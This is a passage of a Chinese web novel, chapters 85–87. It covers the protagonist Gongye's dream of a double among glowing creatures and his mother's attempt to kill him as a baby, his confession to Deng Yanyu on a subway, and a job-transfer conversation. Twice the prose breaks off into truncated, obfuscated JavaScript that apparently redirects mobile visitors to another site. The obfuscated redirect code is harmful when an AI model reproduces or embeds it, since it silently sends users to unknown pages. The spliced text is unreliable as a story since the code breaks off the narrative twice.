男子姿势优美地扬起手,正好有触丝虫碰撞成功,融合成一条漂亮的绿色触丝虫向他游来,划过他苍白锋利的指尖。 他手指一勾,游走的触丝虫就调头落下,幻化成绿蝶,停在他指尖。 “这叫绿鸟翼凤蝶,是我在这里最喜欢的生物之一。” “蓝鲸我也喜欢,不过更喜欢的还是虎鲸,它们聪明,对人类友好,是母系家庭生物。” “那群黄色的鸟叫知更鸟,也是厄虫变的,这里的厄虫都听我的话。” 男子滔滔不绝地聊着,笑着看向指尖的凤蝶,凤蝶扑扑翅膀,似乎有些害羞。 公冶一句话也说不出。 “现在想起来了吗,我是谁?” 公冶后退半步,原先不明不白的情绪渐渐转变为恐慌。 “好吧,”男子放弃了,手一抬,让蝴蝶飞走,“也难怪你会不记得。” 他慵懒地歪过头,长发间的莲花铃铛美妙作响,咧开嘴,笑了:“毕竟我们上次见面,还是在除夕夜呢。” 85. 厄虫 “除夕夜?”公冶若有所思,“我没印象,我们应该从未见过。” “是吗,”男子的笑意耐人寻味,“那晚死了好多人,实在是个令人不愉快的回忆,你想逃避情有可原。” “其实在过去多年,一有机会,我就尝试让你接受我,但违背自己的本心并没好处,也会令她失望,”男子望向池面的自己,“你要是记不起来,就在这想一辈子吧,我不介意。” 轻飘飘的口吻。 公冶十分清楚,他有能力让自己永远出不去。 他们谁也不说话,男子理了理破旧的衣袍,转过身蹲下,只留给公冶一个孤独的背影。他把食指戳在池面上,故意不让水下的触丝幼虫出生。 幼虫无法顺利爬出,也不磨蹭,扭头换了个地方,即将升出水面时,男子再次抵住它脑袋,幼虫大概是撞痛了,气得嗡嗡发光,用短小的触须拼力拍打男子的指腹,男子忍俊不禁,耸着肩笑出了声。 公冶腹诽他幼稚,在他对面蹲下,被欺负的幼虫貌似溺水了,渐渐熄灭光芒往暗处沉去,公冶见状赶紧拍开男子作恶的手。 装死的幼虫立马翻身,以最快速度奋力向上游,冒出水面,用不知是头还是尾的一端看了看公冶,感激地绕着他游了一圈。 “它们是什么?” “厄虫,灾厄的厄,其自身含有上亿发光细胞,濒死状态下腺体会分泌发光物质,燃烧释放的光叫虫火。” 公冶难得表现出好奇:“我以为是单细胞生物。” 男子:“你觉得像吗?” 不知何时,一条蓝色厄虫趴在了公冶的肩头,触须前端作弯曲状,撑着自己没有五官的脑袋,听得津津有味。 公冶捏起它,放在另一条迷路的黄色厄虫身上,可惜它们融合失败了,像两个和平分手的成年人礼貌地握了握对方的触须,然后才各奔东西。 天上都是层层薄纱似的虫火,凝荡复聚散,如山顶栖居的云雾,时不时降下一片光芒微弱的星子,应该是死去的厄虫在陨落。 公冶已找不出哪条是他救过的了:“没出生就沉下去的幼虫会怎样?” “不知道,可能死了,也可能会从别的地方再升起来。” 男子好似许久未见的老朋友,平静淡然地回复着。 他累了,双臂圈住膝盖,头一歪,发丝垂散到水面上,又浸到水里,向下无限延长,往黑暗的地方伸去,像要把什么东西曳引上来,很快,池水深处浮起星星点点的光芒,是一大群生生不息的新生命。 男子的发色肉眼可见变浅了,浅到近乎透明,让公冶想起厄虫体内错综分布微微烁动的血管,以及沿着皮下往后绽开的一缕细如纵丝的脊骨。他一动不动蹲在公冶身边,抱住自己,安静得像一枚落满青苔的印石。 发光的厄虫如嫩枝一般从水里纷纷破土发芽,绻住公冶的四肢,其中一条较为羸弱,湿润的触须哆哆嗦嗦往他身上攀爬,公冶略感不舒服,刚想拨开,却听到这条瘦小的厄虫说了话—— “维……克……托……” “里……先生……” “十月……八号……玫瑰港……” “救……我……” 公冶难以置信,正想再听个清楚,累到快昏睡过去的男子猝然伸手,狠狠攥住这条厄虫,其他厄虫受到极大惊吓一哄而散。 男子的手血色尽失,煞白至极,指尖刺入厄虫光滑的肉身,公冶眼睁睁看着他把刚出生的厄虫捏死了,虫火奄奄一息地流泻出来。 死后的厄虫与烈日下被晒干的蚯蚓别无二致,男子漠然撒手,一具小尸体轻轻掉进了池水里。 公冶不理解地看向他:“为什么伤害它,就因为它说了话?” 男子拖着颓废的身躯往前走,有那么一瞬间,公冶差点看清了他的容貌。 “我有权决定他们的生死。” 公冶固执地问道:“维克托里先生是谁,玫瑰港又是……” 一阵短暂的停顿。 这个地名并不陌生,他一定在哪里听过或看过。 “哦,怎么不问了?”男子笑了,“是不是觉得好耳熟,耳熟到想不起来就抓心挠肝的不舒服?” “维克托里是谁?玫瑰港在哪?十月八号?是哪年的十月八号?为何厄虫会说话,这些问题的答案,我当然可以告诉你,我们本就具备共享秘密的条件,但首先,渡莲,你得把自己搞明白——” 男子指向十米开外,一名香槟色西服的男子,他戴着金色镂空假面,伸手捞住了一个手臂流血的女孩。 有个粉头发的年轻男人正向他们走近。 公冶面色剧变,男子快意地笑起来,往公冶手里塞了一样东西。 是把枪。 “杀了他。” 男子重重按住公冶的肩,凑近说:“杀了他们,你可以的,你做得到。” 公冶迟迟未动,再抬眼,已经有人把粉头发杀死了。 那人同样西装革履,背对着公冶,随手把枪一丢,坐回沙发里,灯光打在他利落的冷棕短发上,染出一圈淡金的光晕。 他拿起酒杯的同时回过了头,深邃而冰冷的笑眼里映出了两个人,被五光十色飞溅的玻璃碎片包围着,从高空相拥坠落。 身后是熊熊烈火,教堂在坍塌。 公冶下意识闭住眼。 这个时间段厄虫太多,虫火把池水都淹亮了。 “还不开枪吗?” “等着被宰吗?” “心脏被刺了一刀,你以为你是怎么活过来的?” 男子一遍遍问着,公冶警惕地看向他,这么近的距离…… 仍旧看不清他的脸。 “渡莲,没有我,你一事无成。” “你就是个失败者。” 公冶无话可说,忍耐着,怒视他,他嘴角压不住,拧出一抹可憎的笑容,似乎觉得这样捉弄人特别有意思。 “为什么要让自己那么痛苦?” “你知道你的痛苦能传递给我吗?每一个深夜,每一次梦里,我都劝你,别再揣着那颗没用的良心了,可惜你从小就不听我的话。” “你从小就不听话。” 远处传来一个他快要忘却的声音,公冶猛然抬头,大家都不在了,只有一个身穿病号服的女人站在那,浅茶色秀发挡住了侧脸。 公冶不敢相信,望了她好久好久。 清绝无声落着泪,跪了下来,从池水里抱起一个小婴儿,拥入怀中。 公冶好想向她走去,可怎么也接近不了。 “孩子,我想不明白,我好痛苦,我知道做过太多恶事,会遭报应,可我从没想过会失去他。” 清绝的脸贴着婴儿的脸,细长的手指渐渐抚到婴儿的面颊上:“如今的每一分每一秒都是煎熬,我活不下去了,真的……受不了了。为什么……为什么你出生的日子,就是静思离开的日子?” 公冶木然地立在原地,看着她流泪,听着她说话。 “如果可以,用你的命,加上我的命,换他活下去,我也心甘情愿。” “我想让他活过来,我该怎么让他活过来,你告诉我。” “你告诉我啊。” 婴儿睁开宝石般明亮的双眼,浅绿的光彩宛如夏夜的星星落在其中。 “……不。” “不要用这种眼神看我。” 清绝瘦削的面庞没有一丝成为母亲的幸福感,她看到了肮脏的东西,嫌恶地盯着婴儿的脸。 “恶心。” “别再这样看我,我讨厌你的眼睛。” “我,讨厌,你。” 公冶像是没听懂。 “你为什么会是美食家?” “为什么?为什么这样看我,是在怪我吗,怪我也是美食家?可我和静思在一起时都好好的,为什么你一出生他就死了,为什么?为什么??” 她癫狂地问着。 “都是你的错!就因为你是怪物!就因为你在这天出生,我的静思没有了!” “你这污秽的东西!我为什么要生下你!你为什么要出生啊——” 寒意钻心,他后退了半步。 “早知道会这样,我当初就不该生下你。” 清绝泪流满面,掐住婴儿的脖子,有多恶毒就多恶毒:“我好后悔,我真的后悔了,去死吧,求求你,像你这样——像你这样的孩子——” “就不该来到这世界上!” 漫天的厄虫颤抖地发着光,恍如碎裂万顷的星河。 公冶跪在地上,本能地捂住耳朵,男子走到他身边:“我们从出生起,就被本该最爱我们的人厌弃了。” “渡莲,你会责怪你母亲吗,她曾经想杀了你。” “可她还是坚持住了,对你怀有深深的愧疚,坚持把你养大了。” “不,养大你的……是顾令萍。” 男子好笑道:“所以,你更喜欢哪一个妈妈呢?” 公冶崩溃地埋着头。 男子自顾自说道:“我呢,哪个都不喜欢,我喜欢死人,因为死人有个永远不会改变的优点,那就是安静。” “……” “很痛苦吗,这个环境是你亲手创造出来的,外面的世界太过糟糕,你来我这寻求一丝慰藉,我非常欢迎,”男子说着说着,表情狰狞起来,“可你不该把我弄得遍体鳞伤,回头再来找我寻求慰藉!” “我没有伤害过你!” “没有?在歌华被抵美协会施暴,在独玉分所承受非人的实验,我的每一次反抗都换来了你的妥协,你开始自暴自弃,被折磨也不喊一声痛,我拼命恢复你损伤的组织,你也不要!你不要我救你!你想死!那十一年你一心求死!” 公冶再也支撑不住。 “直到熊小滚的出现……”男子笑意苦涩,“可结果呢,十七岁的你再次回到歌华,像只缩头乌龟继续给仇人卖命。” “你的尊严呢?” “身为混血顶美的尊严呢?” “说话啊,哑巴了?” “叶穿林有句话说得不错,你扪心自问你这八年到底值不值得?顾令萍把你弄得多痛,我就有多痛,你混成这副狗样子,你对得起谁?!” 公冶一下子甩开他,男子摔倒了,厄虫慌忙游下来,心疼地围着他。 男子摔倒后爬不起来,整个人消瘦了一圈,不远处正在冉冉升起新生命。 “不要再伤害我了……” 公冶不想再待在这,一步步往后退,男子拼尽全力挣扎而起,步履踉跄地向他靠近,一个不稳扑向公冶,长发下的脸忽然露出。 果然。 和我长得一模一样。 公冶看见这张脸,心中轻嘲。他得到了一个默认已久的答案。 不知不觉退到了池水边缘,男子眼疾手快抓住他。 “别再退了,我们没有路了。” “我与你分享这些记忆,不是要你崩溃,好好审视你自己,好好听听民众的呼声!” 厄虫顿时大亮,萤火的光辉里有吟唱传来,仿佛灾难面前的人民向灰暗的世界合十祈祷,它们齐齐发声,无数张嘴巴无数声呐喊—— “你曾经也是名警察。” “她吗?是未婚妻,也是敌人。” “那么,就在这次盛典行动。” “地点玫瑰港,我会为您铲除伊连旧党。” “总理——不要杀他!” “夏娃号终将沉没。” “公冶先生,我们会胜利。” “阿冶……阿冶……” “阿冶,我爱你。” 铺天盖地的、不属于他的陌生记忆汹涌袭至脑海,公冶被迫承受着,喉结艰涩滚动,却发不出一声。 他惊恐地瞪着另一个自己。 “当噩梦成为现实,你唯一能做的就是去接受,我知道很难,但你必须直面你自己。” “对不起,渡莲,对不起,”他用力抱紧公冶,水绿的眼眸黯淡无比,“我在未来等你,请你一定要来。” “一定要来。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579338|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他松开手,公冶就此坠入万丈深渊。 突如其来的失重感迫使他极力向上伸出手,没有虫火的地方太冷了,冷到可以摧毁任何事物。 他被冻醒,白晃晃的天花板出现在眼前。 涤麻窗帘透出朦胧的白光,身旁传来轻稳的呼吸声。 他的手往下移,碰到某个微凉的物体,侧头看去,邓烟雨好像一只挂件小熊趴在他身上,肩膀露在被子外面。 “……” 公冶茫然地望向天花板,紧接着从床上坐起,把熟睡中的邓烟雨挤开了。 邓烟雨往后一倒,栽进枕头里,眼皮都没撑开,朦朦胧胧说:“醒了?温度计在边上记得量……一下……” 公冶头疼欲裂:“……小雨你醒醒,我为什么会在你床上?” “嗯?”邓烟雨裹着被子嘟囔,“昨晚的事你都不记得了?” 他脑袋里像塞满了浆糊。 邓烟雨按亮手机瞥了一眼,一脸生无可恋:“现在才几点啊,再睡一个钟头……” 公冶掀被下床:“我睡不着了。” “不行——”邓烟雨搂住他的腰拉回床里,“我身上冷死了,你让我捂一下,哎呀不要动就一下——” 公冶充当着热水袋,不敢再动,感觉身上缠了条八爪鱼宝宝,这份温暖光滑的触感十分熟悉。 十分熟悉,和梦里的很像…… 和梦里的…… 很像? 他按住额头,眼中透出迷茫:“奇怪……” 邓烟雨没睡着,迷迷糊糊问:“奇怪什么?” 公冶闭眼,努力回到黑暗里,拣着一些支离破碎的不相干的记忆:“我好像做了个非常真实的梦,但是……什么也想不起来了。” 有很多人,很多事物,很多画面,很多的呐喊声,可是…… 怎么也想不起来了。 身旁没回应,公冶转头一看,她已经睡着了,只从被窝里露出手,紧紧抓着他,似乎生怕这点热量跑了。 再次醒来,已是两小时后。 一个上课快迟到,一个旷工一晚上,但两人都表现得莫名淡定。 邓烟雨备了新的洗漱用品,和他一块站在镜子前刷牙。 “你急吗?” “还剩一小时不到,勉勉强强吧。” “我送你。” “怎么送?” “开车。” “少爷,你车在哪呢?” 公冶看着镜子里头发散漫的自己,说:“我睡傻了,不好意思。” 邓烟雨探探他的额头:“我真怕你烧傻了。” “区区46度。” “还区区?!” 公冶吹完牛,自己也无语了。 “你这口高温炉子,昨晚还有力气做大梦?” “嗯……做了一晚上的梦,”公冶闷闷地说,“可就是想不起来。” “正常啦,我也有过和航海士探索一晚上海域,历经各种奇幻冒险,结果早上醒来啥也不记得了,不过昨晚我也做了梦,记得可清楚了,”邓烟雨倒掉杯子里的水,兴致勃勃地说,“我梦见好多好多会发光的小虫虫,有蓝的有黄的,它们抱在一起就会变成绿色的虫虫,还会飞!” 公冶一动不动。 邓烟雨拧着热毛巾:“干嘛这个表情?” 记忆碎片一块一块拼凑起来,他说:“好像跟我梦的一样。” 邓烟雨惊疑地眨巴眼:“真的吗,是不是我们睡在一起的缘故?” 公冶低头,邓烟雨正仰起脸乖乖地注视他。 “你要迟到了。” 邓烟雨被提醒后愣了一下:“哦!我马上!”她简单弄弄,背上帆布包,去玄关换鞋,“你陪我坐地铁吗?” “嗯。” 他们走出公寓,风迎面吹来,公冶说:“今天好冷。” “是吗?”邓烟雨用脸颊感觉,“我觉得还行,是你穿太少了。” 时间局促,堂食来不及,出了街口,公冶看到卖糯米饭团的铺子,过去买了两个。 糯米粒裹着白糖,加了一整根油条,邓烟雨胃口大开,走到地铁站已经吃完,公冶特意把自己的饭团分为两半,看她意犹未尽,就把剩下的给她了。 进站后,他们乘扶手电梯下去,邓烟雨问他:“你上班来得及吗?” 公冶往手机上快速打字:“已经旷工一天,没救了。” 微信被轰炸了,极乐和刺舟发来好些问候,甚至一向懒得交涉的毒株都跑来说:【熊队昨晚找你,响尾组长跟熊队说你在来单位的路上被卡车撞了传送到了异世界,熊队说他知道了,让你第二天去办公室找他】 公冶冷静地回了一句:【告诉响尾,他的1916被卡车碾成灰了】 他们来到没人的地方等地铁进站,邓烟雨贴近他,扯扯他衣角:“你身体还好吗?” 气氛突然微妙起来。 公冶:“……还好。” “昨晚是我太冲动了,下次不会了。” “昨晚冲动的可不止你。” “不不,还是我责任更多一点,我都害你忍发烧了,”邓烟雨真的在自责,还在反省,小声自言自语,“还让你翘班了,你这个月工资又要跟本周股市一样大跌了……” 他听着她碎碎念,默然不语,睫毛下那双眼睛,如无际绿野,却只够容纳这一道小小的身影。 “我没有忍。” “嗯?” “我没有忍,”他考虑许久,还是开口了,“我虽然说了,你害怕可以随时停下,可真到了那一步,我想我可能会办不到。” 邓烟雨一怔,抬头,公冶正将她好好地看在眼里,神情是前所未有的认真。 她玩笑的表情逐渐消失了,眼眶微微睁大,地铁即将进站的广播提示音响起—— “因为我喜欢小雨。” “我私心也想占有你。” 唰——地铁从面前飞快开过,拉出一道斑斓的残影,几乎要把邓烟雨狂跳的心脏带出胸膛。 86. 资本家 滴的一声,地铁门在邓烟雨面前丝滑地打开了。 她没有动。 公冶牵起她的手往里走,正好有两个并排的空位,他们在那坐下。 地铁开动后,公冶才转头看她,她不仅没缓解好,整张脸还红透了,仿佛烧到了46度。 他放下手机:“我说得太直白了吗?” “不——不是!”邓烟雨抬手挡住满脸的红晕,难为情地跺了下脚,“笨笨笨蛋,你也太突然了,我都没有准备,哪有人告白地点选在地铁里!” “……” 意识到自己神经大条,他抬头看向上方标注的站点线路图,继续神经大条地说:“站名叫结缘站。” 邓烟雨:“所、所以呢?” “寓意不是……很好吗?” 线路图用的是玫粉色长线,开向连理方向,一路经过朝暮站、情绵站等词义美好的站点。 可能是想到了一块儿,两个人不约而同臊了脸。 邓烟雨搂紧帆布包,说:“我心脏快跳出来了。” 公冶脸也升温了。 广播女音响起,他们这节车厢在末尾,没人来。 谁也不说话,其实随便一句就能缓解气氛,但他们脑袋都一片空白,找不到合适的话题,于是脸更红了。 这时如果有人经过,就会看到两团粉红史莱姆在座位上冒泡。 还是公冶先开口:“那我下次……重新选个告白地点。” 邓烟雨感觉自己要烧穿了:“算了吧你。” 他闭嘴了。 她又忍不住问:“那你……你要选在哪啊?” “告诉你就不是惊喜了。” “还是告诉我吧,我怕你给我的不是惊喜而是惊吓。” 公冶认真斟酌后,问:“有烟花的地方,你喜欢吗?” 邓烟雨故作惊喜地捧住脸蛋:“天呐,烟花?你还会搞浪漫,真让我意外。” “……” 他脑仁疼:“别对我抱有太大期待。” “我可太期待了,歌华能放烟花的地方可不多。” 歌华市对烟花爆竹管理非常严格,部分区域全年禁燃禁售,但公冶说得出就做得到。他突然想起极乐最近在看的一本有声小说,有一次她忘关声音,对话内容就在工位上大剌剌放着,被他听到了。 “我想起一句话。” “什么?” “那晚,整座A市的焰火都只为你一人绽放。” 邓烟雨眼泪都笑出来了:“嚯哈哈哈哈哈谢谢你啊我的总裁大人!” 当时女主坐在出租车里正要赶往机场,一路上都有吉尼斯世界纪录认证的最大烟花当空盛放,全程二十公里的路,总裁就没让它暗过,愣是追着女主的出租车追到了机场上空。 公冶听完有点怀疑人生,一扭头,发现刺舟和毒株也听得津津有味,手头的活都放下了。 日子过成准退休老干部模式的二十出头小伙终于对言情世界里的浪漫产生了一丝触动:“钱真多啊。” 这已经不是净空区放烟花违不违法的问题了。 在他们的世界里,唯有真爱至上。 邓烟雨调笑:“你敢这么放?真不怕被市长通缉吗?” “放心,”公冶礼貌又霸道地说,“我会合法合规地为你放烟花。” “哈哈哈好的,但我有个条件,”邓烟雨挽着他,微笑,“不许飞无人机在天上拼我们的名字。” 好险,差点要说了。 小说里男主还真飞了无人机求婚。 不止女主感动哭了,极乐也哭了:“呜呜呜……这样飞一次要我半年的工资了吧……罪恶的资本家啊呜呜呜……” 公冶认清现实:“我就算有那么多钱,也没那么多权吧。” “我就知道,你这个被资本压榨的卑微牛马怎么可能挑战权威,”邓烟雨笑容灿烂,“我们就在小区院子里玩玩烟花棒吧。” 她眨着杏眼:“我很知足的,烟花棒就能打发我,你偷着乐吧。” 公冶真的低头笑了。 “笑什么?” “如果我说小雨才是我的资本家呢。” 邓烟雨惊讶了一下,随即恢复镇定:“嗯,也对,我可是属龙的,就算是纸糊的龙,也比你这头小羊厉害,等以后我把祁宴家的公司买下来,还是我给你放烟花来得更实际点。” “那我等着。” “就干等着?我做大做强也需要时间,你不试着反抗一下权威?” “我就这样了,没有打翻身仗的想法。” 邓烟雨笑盈盈地瞧着他,又想起昨晚对方隐忍的样子,只在漫画里见到过的画面与颜色。她用帆布包挡住自己的唇,目光灼热。 “把脑袋清清空,一会儿上课装不进知识怎么办。” “装不进也是你害的。” 公冶无奈:“和我说话越来越不客气了。” 邓烟雨对他俏皮一笑:“我就这样了,改不了。” 出站后还要走一段路,邓烟雨翻着日历问:“4月1号那天你值班吗?” “还没排,”公冶回复了工作上的事,看她,“想约我?” “想啊,你空出来嘛,我们去吃烛光晚餐。” “那天……”公冶垂落目光,“是我父亲的忌日,我要去祭拜他。” “那我也陪你去。” “是去墓园。” “我知道,我陪你去,是在南山陵园吗,那里是不是种了很多紫露草?”邓烟雨说,“我妈妈以前在家养了几盆紫露草,一入冬它们就没精神,虽说不至于冻死,可等天气回暖了也不愿意开花,我们的国花好娇气哦。” 公冶笑了:“南山陵园的紫露草都是急性子,春天一来就抢着开花了,你去了或许能够看见几丛。” “紫露草最早也是在四月中旬开,在室外能上旬开花真的好厉害,”她不自由主和他十指相扣,“会不会是陵园里的英魂让它们早早开了花?” “或许吧。” 学校就在前面,快到了。 “公冶警官,我只听你说起过你爸爸,那你妈妈呢?” “她在我六岁那年就离开了,”公冶任由邓烟雨轻轻晃荡自己的手,“不知道去了哪。” “那你还记得和妈妈一起生活的日子吗?” “记得,我们经常搬家,有一次搬的家太破,有好多蟑螂,我妈虽然是顶级美食家,但她最怕这个了,又哭又嚎,情急之下就抓起我的手拍蟑螂。” “用你的手?”邓烟雨捧腹大笑,“阿姨太可爱了!” 公冶有苦无处诉:“你不心疼一下我吗,我那时候才三岁,哪里见过这么肥的蟑螂,还会飞。” “斯到普,不要描述它,”邓烟雨做了个停的手势,想到什么,脸色忽变,“等等……我应该没听错吧,你刚说你妈妈是顶级美食家?那你……” “我被降级了。” 邓烟雨眼睛瞪成铜铃大:“可你爸爸是普通人,那你——” “我混血,”公冶直言不讳,“也就那样吧,没什么实感。” 语气太淡了,以至邓烟雨觉得这人在开玩笑。她捂住嘴,眼神像在鉴赏国家一级文物,公冶疑惑:“你那么激动干嘛?” “我感觉我捡到宝了,”邓烟雨期待又欣喜地在他面前蹦跶,“全球唯一限量款,还是典藏版,被我捡到了,哈哈!” 公冶被她的反应逗笑了。 他并不觉得自己有多珍贵:“我怕你讨厌顶美,都不敢和你说。” “我不讨厌,我是怕,都让我流鼻血了……我超级怕……” “我已经不是了,”他心里没底地说,“所以你不要怕我。” “傻瓜,你居然担心这个?不管你变成什么样子,就是超超超顶级美食家我也不怕,而且顶美也有变态和美男之分,”邓烟雨放心地拍拍他,“公冶警官怎么可能是变态。” 也算得上夸吧,公冶略感欣慰:“谢谢。” “我以为顶美无所不能呢,没想到做饭也不行。” “这是遗传我妈了,她厨艺一言难尽,番茄炒蛋都能炒出黑色的汁,我就是亲传了她的本事,她还用螃蟹……” “用螃蟹?” 说漏嘴了,他立刻纠正:“这个不能说。” “诶?是什么,快告诉我,我想听!” “绝对不能说,要被你笑话的,”公冶快步把她往学校送,邓烟雨不肯放弃地问着:“那打完蟑螂后来呢?” “后来她因为一些事要离开,把我送去独玉分所,再也没回来过。” “你不想去找她?” “太忙了,没时间。” 邓烟雨摇头:“我以后绝对不要成为你这样的社畜。” “你应该羡慕我这样的社畜,我虽然事多,但至少钱也多,大部分人两头都不占,还有一家老小要养。” 邓烟雨眼里没有光了。 公冶拍拍她脑袋,隔岸观火地调侃道:“快点毕业吧。” “坏蛋!腹黑大魔王!” 邓烟雨凶完扭头往回走,公冶拎住她后衣领:“上课迟到了。” “我不去,我不毕业,我不上班,反正上班也没钱赚!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579339|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你当初学金融,不就是为了赚钱吗。” 邓烟雨没话说了。 “祁宴家的公司你不要了?” 邓烟雨扭过头,眼巴巴地看着他。 “我等着你给我放全世界最大的烟花呢。” 两个人都笑了,公冶把她额前吹乱的刘海理了理,目光带着亮意:“我记得我四岁那年,我妈带我去了我爸的老家,在月河盐花县往西一个小山村,那里的村民很淳朴,不介意我们的身份,我们住了一段时间,后来有人专程从歌华找过来,我妈不想给村民添麻烦,所以还是搬走了。” 邓烟雨感慨:“月河可是出了名的风景好啊。” “有机会我要给自己放个长假,去那边再看看也好。” “我陪你。” “我去哪你都陪我吗?” “对呀。” 他们走到校门口,邓烟雨还拉着他的手。 公冶望了一眼学校,说:“小雨,如果选择和我在一起,未来或许会遇到更大的麻烦,我是被降级的美食家,母亲也有过地下身份,我甚至无法保证今后的人生能平安,所以我希望你慎重考虑。” “我知道,你愿意和我说这些我已经很开心了,”邓烟雨抱抱他,“我会好好考虑,在此之前你不可以变心,绝对不可以。” “我不会的,”公冶看了眼时间,“快进去吧。” 邓烟雨松开他的手,向学校走去,公冶目送片刻,转身离开。 下一秒,他被一只手拉住。 他被邓烟雨猛地拉回来。 “我考虑好了。” “啊?” “从现在起你就是我男朋友了。” 公冶目瞪口呆:“你才只考虑了……三秒。” “你让我考虑,我考虑了呀,至于我考虑几秒还是几天,你管不着,反正我已经考虑过了,所以——”邓烟雨兴冲冲地说,“你现在是我男朋友了。” “……” 校门口有其他学生正说说笑笑地进出。 冬日的阳光穿破云层,照向繁华忙碌的大城市,照在她暖洋洋的脸蛋上。 没办法。 他拿她没办法。 他好像不止一次掉进她临时挖的小小陷阱里。 公冶的头发温顺地落着,声音也格外温顺:“嗯。” 这一刻,得到他的这一瞬间,邓烟雨感觉世界都在闪闪发亮。 “你害羞的样子太可爱了。” “这是在外面。” “我知道……” “快去吧,我也要回单位了。” “那个……”邓烟雨恋恋不舍地扯了扯他的衣服,似乎要说悄悄话,公冶俯下身:“怎么了?” 她搂上他的肩膀,在他左脸颊亲了一口。 “我走啦!” 她朝校门口快快乐乐地跑去。等她的身影彻底消失不见,公冶才回过神,转身之际和亭子里的保安大爷视线相撞。 大爷吹着枸杞红枣茶,对他露出个“懂的懂的”的过来人笑容。 一小时后,公冶赶到GS总部。 熊小滚在办公室,他敲了门,走进去:“医生说你营养不良兼劳累过度,需要修养一周,你怎么昨天就来上班了?” “啧,唠叨,我已经好了,”熊小滚一手叉腰,一手撑桌,“倒是你,去的什么异世界呀?这么快就回来了啊?不再多待个几天吗?” 公冶不理解:“我在关心您,您上来就阴阳怪气干什么?” 熊小滚好笑道:“无故旷工还要我给你好脸色?” “那你扣我钱好了。” “这是扣钱的问题吗,说,昨晚一夜不归干嘛去了。” 公冶有种明明是成年人了却还被父母管着宵禁的不自在:“我去异世界打怪兽打了一晚上不行吗,你少管我。” “影青,你翅膀硬了。” 他张开手臂左右看看:“有吗有吗?我怎么看不见?” “臭小子你……!” “没其他事我先去朗院长那了,再见。” “回来!!” 公冶站在那了。 “你今天哪根弦搭错了?啊?说的话要气死我?吃鞭炮了?” “谁叫你阴阳我,麻烦有事说事。” 熊小滚无可奈何地一叹,坐下来,身影逆在广袤的日光里。他静了一阵,缓缓道来:“我打算把你调去宣传科,你能接受么?” 非常通俗易懂的一句话,可公冶怔了半天:“您说什么?” 熊小滚凝视着他,神情严谨,没半分玩笑:“我准备给你调岗。” 87. 暗杀 公冶挑重点问:“GS还有宣传科?” “有,”熊小滚放松坐姿,“你忘了?窃蓝和葭灰就去了宣传科,两年前他们离职了,这部门自那以后就一直处于半死不活的状态。” 窃蓝和葭灰是和公冶同一期进来的公美,在一线赚饱了,主动申请转岗,退居幕后干闲职。 公冶虽然和他们一起出过任务,但并不熟,主要是“传统色代号”方便识别资历,即使临时组队互不认识,通过代号也能迅速了解实力,配合起来。 “GS缺少积极正向的宣传,涉警负面舆情层出不穷,甚至有恶意抹黑公安美食家的言论,我希望你去了能够把这一块好好加强引导,眼下我们最需要的就是构建和谐警民关系,”熊小滚敲桌,“现如今人们压力都大,互联网算是最便捷的情绪宣泄口,GS社会关注度高,稍微有点事就陷入舆论风暴的中心,不管在网络上还是社会层面,大家对我们的印象都太片面了。” 公冶点头,又问:“只对我进行调岗?” “嗯。” “就因为我旷工了?” “在你眼里我是这样的人?”熊小滚双手合在一起,“你已经够辛苦了,退居二线不好吗,别看我们宣传科一副大厦倾颓的模样,这部门归公安养,人少油水足,你只是不需要再执行危险紧急的任务。” “那我的位子谁来接替?” “你定,”熊小滚掰手指数过去,“极乐,刺舟,还有毒株……或者不是他们三个,别的组你看得上的组员,都可以拉来填补你的空缺。” 熊小滚靠向椅背,若有所思:“其实极乐跟了你那么多年,要不……” “我觉得刺舟很好。” “哦?” “极乐确实不错,综合近两年考评实力能排前五,但她在执行任务过程中容易遇事不决,比较依赖团队协作,毒株倒没她这毛病,却过于我行我素,自控力差,刺舟虽然不是最出众,但行事稳健,善于观察,可以短时间内对现状做出最佳判断,我认为刺舟更适合担任领导部署一角,所以推荐由他顶上。” 熊小滚眼神蓦地温和起来,他没想到影青会如此关注自己的部下。 他挑了挑眉,应准:“好,这事也不急,先按着,我只和你提一嘴,你再好好培养刺舟。” “我明白。” “对了,额……”熊小滚不疾不徐放下茶杯,顿了顿,说,“我们大院要和独玉分所开展为期一周的学术交流,他们的人今天已经到了,顾院长也来。” 公冶诧异的表情收不住:“就在总部开?” “不到前面来,内部活动,”熊小滚望向他的眼神微含关切,“就像以前我陪玉山去过独玉视察调研,这次他们主动提出要交换经验,格拉海德医院也派来了两名主任医师,和我们大院连同独玉分所举行三方会谈,同时对小可以及监护区所有孩童的病症组织一次探讨会。” 公冶会意:“我听说格拉海德针对思泊病毒有了新的治疗方案。” “是的,所以朗院长把人请来了,总之这周‘后面’会很忙,如果你觉得不方便,想回避,这几天我批准了。” “不用,”他说,“我正常上班。” 熊小滚点点头:“你组里目前仍有空缺,后续如果有公美进组,没特殊情况我就把人安排到你名下,你用心带。” 又要他带新人! 公冶一脸谢天谢地:“你让尚晴秋也带带吧,我真不想干了。” 尚晴秋是暮火的本名,公冶能这么叫他,可见已是憋一肚子不满了。 “怎么和大组长说话的,”熊小滚照旧替暮火帮腔,“人家里最近有事,三天两头请假,体谅体谅。” “嫂子怎么了?” “你问暮火去。” 公冶郁闷:“就他忙,我清闲,什么活都落我头上,”说完感觉不对,又补一句,“我现在不一样了,以后也有的忙了,不要再给我塞新人。” 熊小滚愣住:“啊?什么叫有的忙了?” 公冶走了。 